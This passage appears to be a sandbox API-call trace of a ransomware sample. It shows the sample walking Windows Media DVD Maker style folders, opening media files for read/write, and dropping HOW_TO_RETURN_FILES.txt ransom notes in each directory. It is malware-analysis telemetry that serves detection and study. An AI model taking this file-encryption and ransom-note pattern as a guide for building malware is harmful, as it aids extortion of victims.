[0125.894] AreFileApisANSI () returned 1 [0125.894] GetACP () returned 0x4e4 [0125.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scenes_LOOP_BG.wmvL.wmv", lpUsedDefaultChar=0x37dec0) returned 18 [0125.894] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.894] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.894] AreFileApisANSI () returned 1 [0125.894] GetACP () returned 0x4e4 [0125.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Scenes_LOOP_BG_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Scenes_LOOP_BG_PAL.wmvv", lpUsedDefaultChar=0x37dec0) returned 22 [0125.894] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Scenes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\scenes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.894] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.894] AreFileApisANSI () returned 1 [0125.894] GetACP () returned 0x4e4 [0125.894] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Page_Ref.wmv", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Page_Ref.wmv.wmv", lpUsedDefaultChar=0x37dec0) returned 18 [0125.895] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.895] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.895] AreFileApisANSI () returned 1 [0125.895] GetACP () returned 0x4e4 [0125.895] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Title_Page_Ref_PAL.wmv", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="Title_Page_Ref_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 22 [0125.895] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Title_Page_Ref_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\title_page_ref_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.896] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.896] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.897] AreFileApisANSI () returned 1 [0125.897] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0125.897] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.898] GetFileType (hFile=0x130) returned 0x1 [0125.899] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.899] AreFileApisANSI () returned 1 [0125.899] GetACP () returned 0x4e4 [0125.899] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="photoedge_buttongraphic.png", cchWideChar=27, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="photoedge_buttongraphic.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 27 [0125.899] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_buttongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.900] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.900] AreFileApisANSI () returned 1 [0125.900] GetACP () returned 0x4e4 [0125.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="photoedge_selectionsubpicture.png", cchWideChar=33, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="photoedge_selectionsubpicture.pngpng", lpUsedDefaultChar=0x37df4c) returned 33 [0125.900] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_selectionsubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.900] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.900] AreFileApisANSI () returned 1 [0125.900] GetACP () returned 0x4e4 [0125.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="photoedge_videoinset.png", cchWideChar=24, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="photoedge_videoinset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 24 [0125.900] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.900] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.900] AreFileApisANSI () returned 1 [0125.900] GetACP () returned 0x4e4 [0125.900] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Postage_ButtonGraphic.png", cchWideChar=25, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Postage_ButtonGraphic.pngture.png", lpUsedDefaultChar=0x37df4c) returned 25 [0125.901] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.902] AreFileApisANSI () returned 1 [0125.902] GetACP () returned 0x4e4 [0125.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Postage_SelectionSubpicture.png", cchWideChar=31, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Postage_SelectionSubpicture.pngng", lpUsedDefaultChar=0x37df4c) returned 31 [0125.902] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.902] AreFileApisANSI () returned 1 [0125.902] GetACP () returned 0x4e4 [0125.902] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Postage_VideoInset.png", cchWideChar=22, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Postage_VideoInset.pngcture.png", lpUsedDefaultChar=0x37df4c) returned 22 [0125.902] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.902] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.902] AreFileApisANSI () returned 1 [0125.902] GetACP () returned 0x4e4 [0125.903] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Push", cchWideChar=4, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Pushage_VideoInset.png", lpUsedDefaultChar=0x37df4c) returned 4 [0125.903] AreFileApisANSI () returned 1 [0125.903] GetACP () returned 0x4e4 [0125.903] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=49, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\") returned 49 [0125.904] AreFileApisANSI () returned 1 [0125.904] GetACP () returned 0x4e4 [0125.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.904] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.904] AreFileApisANSI () returned 1 [0125.904] GetACP () returned 0x4e4 [0125.904] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.905] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.905] AreFileApisANSI () returned 1 [0125.905] GetACP () returned 0x4e4 [0125.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.905] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.905] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.905] AreFileApisANSI () returned 1 [0125.905] GetACP () returned 0x4e4 [0125.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047_576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047_576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.905] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.905] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.905] AreFileApisANSI () returned 1 [0125.905] GetACP () returned 0x4e4 [0125.905] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.905] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.906] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.906] AreFileApisANSI () returned 1 [0125.906] GetACP () returned 0x4e4 [0125.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.pnga", lpUsedDefaultChar=0x37dec0) returned 38 [0125.906] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.906] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.906] AreFileApisANSI () returned 1 [0125.906] GetACP () returned 0x4e4 [0125.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.906] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.906] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.906] AreFileApisANSI () returned 1 [0125.906] GetACP () returned 0x4e4 [0125.906] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 39 [0125.906] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.907] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.907] AreFileApisANSI () returned 1 [0125.907] GetACP () returned 0x4e4 [0125.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.907] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.907] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.907] AreFileApisANSI () returned 1 [0125.907] GetACP () returned 0x4e4 [0125.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.907] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.907] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.907] AreFileApisANSI () returned 1 [0125.907] GetACP () returned 0x4e4 [0125.907] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="push.png", cchWideChar=8, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="push.pngonUp_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 8 [0125.908] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.908] AreFileApisANSI () returned 1 [0125.908] GetACP () returned 0x4e4 [0125.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="pushplaysubpicture.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="pushplaysubpicture.pngSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 22 [0125.908] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\pushplaysubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\pushplaysubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.908] AreFileApisANSI () returned 1 [0125.908] GetACP () returned 0x4e4 [0125.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="push_item.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="push_item.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 13 [0125.908] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_item.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_item.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.908] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.908] AreFileApisANSI () returned 1 [0125.908] GetACP () returned 0x4e4 [0125.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="push_title.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="push_title.pngture.png", lpUsedDefaultChar=0x37dec0) returned 14 [0125.909] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\push_title.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\push_title.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.909] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.909] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.910] AreFileApisANSI () returned 1 [0125.910] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 73 [0125.910] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.911] GetFileType (hFile=0x130) returned 0x1 [0125.912] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.912] AreFileApisANSI () returned 1 [0125.912] GetACP () returned 0x4e4 [0125.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Rectangles", cchWideChar=10, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="RectanglesdeoInset.png", lpUsedDefaultChar=0x37df4c) returned 10 [0125.912] AreFileApisANSI () returned 1 [0125.912] GetACP () returned 0x4e4 [0125.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=55, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\h֠j\x04") returned 55 [0125.914] AreFileApisANSI () returned 1 [0125.914] GetACP () returned 0x4e4 [0125.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0125.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.914] AreFileApisANSI () returned 1 [0125.914] GetACP () returned 0x4e4 [0125.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0125.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.914] AreFileApisANSI () returned 1 [0125.914] GetACP () returned 0x4e4 [0125.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0125.914] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.914] AreFileApisANSI () returned 1 [0125.914] GetACP () returned 0x4e4 [0125.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576_91n92.png47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 18 [0125.914] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd 